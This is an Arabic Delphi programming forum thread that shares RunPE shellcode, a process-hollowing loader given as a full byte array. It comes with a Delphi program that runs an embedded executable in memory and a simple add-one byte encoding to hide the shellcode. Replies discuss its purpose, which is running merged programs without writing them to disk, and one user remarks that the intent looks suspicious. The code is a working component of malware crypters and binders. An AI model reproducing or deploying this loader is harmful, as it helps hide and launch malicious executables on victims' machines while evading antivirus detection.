delphi4arab منتديات دلفي للعرب

نسخة كاملة : Shellcode RunPE مثال جيد
أنت حالياً تتصفح نسخة خفيفة من المنتدى . مشاهدة نسخة كاملة مع جميع الأشكال الجمالية .
السلام عليكم

اليكم المثال
PHP كود :
program RunShellCode;

uses
  Windows
,
  
Unit2 in 'Unit2.pas';

var
  
arrRunPE:  array[0..693] of Byte = (
    $
55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
    
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
    $
45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
    
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
    
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
    $
8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
    $
13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
    
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
    
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
    $
8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
    $
6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
    $
60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
    $
01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
    
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
    $
8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
    $
6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
    $
00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
    $
01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
    $
30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
    
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
    $
77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
    $
77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
    $
8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
    
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
    
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
    $
78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
    $
03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
    
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
    $
00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
    
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
    $
4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
    $
51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
    $
4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
    $
59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
    $
49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3);


var
  
RunPEProc :procedure(arr:TbytArray);
  
i:integer;
   
crypt,dcrypt:  array[0..693] of Byte ;
begin
for i:=0 to length(arrRunPE) do  // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0];
  
crypt[i]:=Ord(arrRunPE[i]);

for 
i:=0 to length(crypt) do // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0];
  
dcrypt[i]:=byte(crypt[i]);

  
RunPEProc := @crypt[0];  //RunPEProc := @arrRunPE[0];
  
RunPEProc(Project11_);
end. 

برنامج مرحبا العالم

PHP كود :
unit Unit2;

Interface
Uses Windows;
type
TbytArray 
= array[0..15960] of byte;
Const
  
aSize = 15961;
  
Project11_: TbytArray=
(

$
4D,$5A,$50,$00,$02,$00,$00,$00,$04,$00,$0F,$00,$FF,$FF,$00,$00,$B8,$00,
$
00,$00,$00,$00,$00,$00,$40,$00,$1A,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$BA,$10,$00,$0E,$1F,$B4,$09,$CD
.
.
.
.
.
////////////////////////
الكود كامل
تجدونه في المرفقات 
.////////////////////////
.
.
.
.
,$
4F,$65,$51,$56,$77,$71,$55,$5A,$50,$6C,$71,$7A,$56,$42,$53,
$
66,$6B,$57,$4F,$6F,$3D,$3E,$00,$00,$02,$00,$00,$00
);

implementation

end
. 
تجربة للتشفير باضافة 1 لترتيب الحرف
PHP كود :
arr: array[0..695] of byte = (
86,140,237,130,197,165,251,0,0,138,70,253,233,28,3,1,1,138,134,205,254,0,0,188,243
,16,87,199,140,150,205,254,0,0,233,26,3,1,1,138,70,249,188,170,140,129,46,140,
150,205,254,0,0,233,7,3,1,1,138,70,245,188,134,60,175,220,140,150,205,254,0,0,233
,244,2,1,1,138,70,241,188,148,54,224,134,140,150,205,254,0,0,233,225,2,1,1,138,
70,237,188,142,204,183,94,140,150,205,254,0,0,233,206,2,1,1,138,70,233,188,84,20
,194,121,140,150,205,254,0,0,233,187,2,1,1,138,70,229,188,139,220,224,166,140,150
,205,254,0,0,233,168,2,1,1,138,70,225,188,47,6,81,201,140,150,205,254,0,0,233,149
,2,1,1,138,70,221,188,134,162,23,163,140,150,205,254,0,0,233,130,2,1,1,233,7,1
,1,1,111,117,101,109,109,1,96,88,0,209,138,134,209,254,0,0,188,140,228,206,66,140
,209,233,97,2,1,1,138,70,217,188,58,36,14,45,140,150,209,254,0,0,233,78,2,1,1,138
,70,213,105,1,3,1,1,142,134,213,254,0,0,81,107,1,0,86,249,107,69,142,134,137,254
,0,0,81,0,86,213,0,86,245,140,201,142,134,121,254,0,0,81,142,134,137,254,0,0,81
,107,1,107,1,107,5,107,1,107,1,107,1,82,142,134,213,254,0,0,81,0,86,241,105,205
,3,1,1,142,134,165,251,0,0,81,0,86,213,200,134,165,251,0,0,3,1,2,1,142,134,165,251
,0,0,81,0,182,125,254,0,0,0,86,237,101,162,49,1,1,1,140,65,13,140,65,21,140,65
,17,81,0,182,121,254,0,0,0,86,217,140,126,253,4,128,61,107,65,105,1,49,1,1,0,120
,81,0,120,53,0,182,121,254,0,0,0,86,233,138,134,117,254,0,0,107,1,0,120,85,0,118
,253,0,182,117,254,0,0,0,182,121,254,0,0,0,86,229,142,72,25,138,134,113,254,0,0,
16,184,72,21,2,134,113,254,0,0,52,193,52,247,52,202,236,42,108,199,41,4,134,113,
254,0,0,140,158,117,254,0,0,4,89,13,140,86,253,4,81,21,107,1,0,113,17,83,84,0,182
,121,254,0,0,0,86,229,71,103,60,120,7,115,210,140,134,117,254,0,0,4,72,41,138,134
,85,252,0,0,142,134,165,251,0,0,81,0,182,125,254,0,0,0,86,225,0,182,125,254,0,
0,0,86,221,202,196,101,162,49,1,1,1,140,65,13,140,65,13,140,1,140,1,140,65,25,196
,86,140,237,132,197,245,83,138,86,253,140,75,61,4,203,138,78,245,140,74,121,4,203
,138,78,249,140,82,25,140,74,33,4,78,253,52,0,140,50,4,118,253,52,193,82,173,140
,201,4,249,212,200,134,193,118,246,90,60,252,117,17,132,194,5,75,118,225,187,195
,89,99,28,91,52,193,202,196,140,70,253,140,78,249,140,90,25,140,74,37,4,201,44
,219,210,228,4,204,16,184,26,140,78,249,140,74,29,4,201,194,228,3,4,204,4,2,91,202
,196,78,78); 

الاستخدام
PHP كود :
program RunShellCode;
   {
$APPTYPE CONSOLE}


uses sysutils,
  
Unit2 in 'Unit2.pas';
  var
  
i:integer;
   
crypt:  array[0..695] of Byte ;
begin
for i:=0 to length(arr) do begin
 crypt
[i]:=(arr[i])-1;
 
Write(inttostr(crypt[i])+',');
end;
RunPEProc := @crypt[0];
RunPEProc(Project2_);
Readln;
end. 
لكن ما الفائدة من تشغيل برنامج بواسطة Shell Code , او بالاحرى ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى , لانه في النهاية الكل سوف ينفذ في cpu
virtual كتب :لكن ما الفائدة ...
دمج البرامج وتنفيذها بدون استخراج في القرص
السلام عليكم ورحمة الله

حتى يستفيد/يفهم من يشاهد الموضوع اكثر ينقص تحويل الshell code الى اوامر التجميع و/او ما يوافقها بدلفي

على ما اعتقد الكود الاصلي نشر في منتدى iCode من DeadlyVermilion
كود :
var arrRunPE: array[0..693] of Byte = ( $55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC, $FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89, $45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45, $F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0, $BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB, $8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53, $13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB, $DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50, $C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2, $8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C, $6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8, $60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D, $01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00, $FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8, $8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04, $6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02, $00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00, $01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1, $30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF, $FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF, $77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF, $77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4, $8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33, $C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD, $FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5, $78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF, $03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD, $FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00, $00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83, $C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89, $4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0, $51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04, $4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B, $59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B, $49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3); //Example of use: asm MOV EAX, dwArrayToRun LEA EBX, arrRunPE[0] CALL EBX end;

إقتباس :ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى
اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!
لا اعرف لماذا يقوم بتحويل الكود الى الهكس
ترتيب الحرف يكفي
على كل حال هذا البرنامج اصبح مفتوح المصدر وتضاعفت سرعة التحويل اكثر من الضعف
[صورة: 20121220114553.png]
إقتباس :اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!

[COLOR="Navy"] ممكن مثال يوضح الفائدة من استخدام shell code ؟
الاستخدام الوحيد الذي اراه ممكن هو حقن ملف تنفيذي ب shell code معين ثم البحث عن تعليمة call ثم اعطائها عنوان shell code .
لكن هذا يوضح نية مريبة Wink
[/COLOR]
إقتباس :لا اعرف لماذا يقوم بتحويل الكود الى الهكس
غالبا يكتب الshell code بالhex
انتبه الكود يكون منظم اكثر فكل حرف يمثل بحرفين اضافة الى $ والفاصلة
إقتباس :حقن ملف تنفيذي ب shell code معين ثم...
أنظر للامر من زاوية اخرى
اذا قلت لك "كود صغير الحجم يمكن وضعه بالذاكرة وتنفيذه دون ان يكون متعلق بموضع محدد من الذاكرة" ماذا يمكنك ان تفعل به ؟ فكر.. أمور كثيرة، جزء من برنامج حماية ، اضافات Plugins ....
شكرا جزيلا على هذه المعلومة لكن انا جديد جدا على الدلفي ورايت هذا الموضوع وسمعت عنه الكثير لكن لدي سؤال بخصوص الارقام الموضوعة في الشال كود هل هي عشوائية او هو ملف محول الى شال كود وما هو هذا الملف وكيف يمكن ان احول الملف برمجيا الى شال كود
جزاك الله خيرا على الموضوع